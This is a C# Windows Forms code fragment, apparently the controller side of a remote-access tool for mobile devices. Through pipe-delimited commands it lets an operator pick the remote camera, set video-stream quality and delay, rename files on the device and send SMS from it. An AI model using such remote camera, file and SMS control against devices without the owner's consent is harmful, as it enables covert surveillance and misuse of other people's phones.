/// <summary> /// Get the camera facing option /// </summary> /// <param name="functionTitle">The function which the facing will be supplied to</param> /// <returns>The camera facing, null if invalid value supplied</returns> private string GetCameraFacing(string functionTitle) { //Get facing option sCore.IO.Types.InputBoxValue ibv = ServerSettings.ShowInputBox(functionTitle, "Do you want to use the \"front\" ot the \"back\" camera"); if (ibv.dialogResult != DialogResult.OK) { return(null); //If dialog cancelled } string opt = ibv.result.ToLower(); //Convert result to lower case chars if (opt != "front" && opt != "back") { return(null); //Filter valid results } return(opt); //Return valid result }
/// <summary> /// Get video stream quality /// </summary> /// <returns>A quality between 0 and 100, null if invalid valu supplied</returns> private string GetTapQuality() { //Get the quality sCore.IO.Types.InputBoxValue ibv = ServerSettings.ShowInputBox("Image Quality", "Type in the quality of the image (0-100)"); if (ibv.dialogResult != DialogResult.OK) { return(null); //if dialog cancelled } string opt = ibv.result.ToLower(); //Convert to lower case bool validInput = int.TryParse(opt, out int result); //Try to convert input to int if (!validInput || result < 0 || result > 100) { return(null); //if invalid input or quality out of range } return(opt); //return the quality }
/// <summary> /// Rename File Tool Strip Item /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void renameFileToolStripMenuItem_Click(object sender, EventArgs e) { //Get selected file string file = GetSelectedFile(); if (file == null) { return; } //Get the new name for the file sCore.IO.Types.InputBoxValue ibv = ServerSettings.ShowInputBox("Rename File", "Type in the new desired name for the file"); if (ibv.dialogResult != DialogResult.OK) { return; //if dialog cancelled } string name = ibv.result; ctx.SendCommand("frename|" + file + "|" + name); //Send command }
/// <summary> /// Get the video stream delay option /// </summary> /// <returns>Video stream delay, null if invalid valwue supplied</returns> private string GetTapDelay() { //Get the delay value sCore.IO.Types.InputBoxValue ibv = ServerSettings.ShowInputBox("Image Send Delay", "Type in a delay in seconds, decimal point allowed"); if (ibv.dialogResult != DialogResult.OK) { return(null); //If dialog cancelled } string opt = ibv.result.ToLower(); //Convert result to lower case if (!float.TryParse(opt, out float test) && !int.TryParse(opt, out int test2)) { return(null); //if invalid float & invalid int } opt = opt.Replace(System.Globalization.NumberFormatInfo.CurrentInfo.NumberDecimalSeparator, "."); //replace the decimal separator with "." test *= 1000; //convert the seconds to milliseconds videoStreamDelay = (int)Math.Round(test); //Do a math.round, in case the result is still a float, set the delay value return(opt); //return the delay value }
/// <summary> /// Send SMS Button /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void button7_Click(object sender, EventArgs e) { //Get recipient phone number sCore.IO.Types.InputBoxValue ibv = ServerSettings.ShowInputBox("Send SMS", "Please type in the phone number of the recipient!"); if (ibv.dialogResult != DialogResult.OK) { return; //if dialog cancelled return } string phoneNumber = ibv.result; //Get the message ibv = ServerSettings.ShowInputBox("Send SMS", "Please type in the message you wish to send!"); if (ibv.dialogResult != DialogResult.OK) { return; //if dialog cancelled return } string message = ibv.result; string command = "send-sms|" + phoneNumber + "|" + message.Replace("|", string.Empty); //Construct command ctx.SendCommand(command); //Send Command MessageBox.Show("SMS Message Sent", "Send SMS", MessageBoxButtons.OK, MessageBoxIcon.Information); }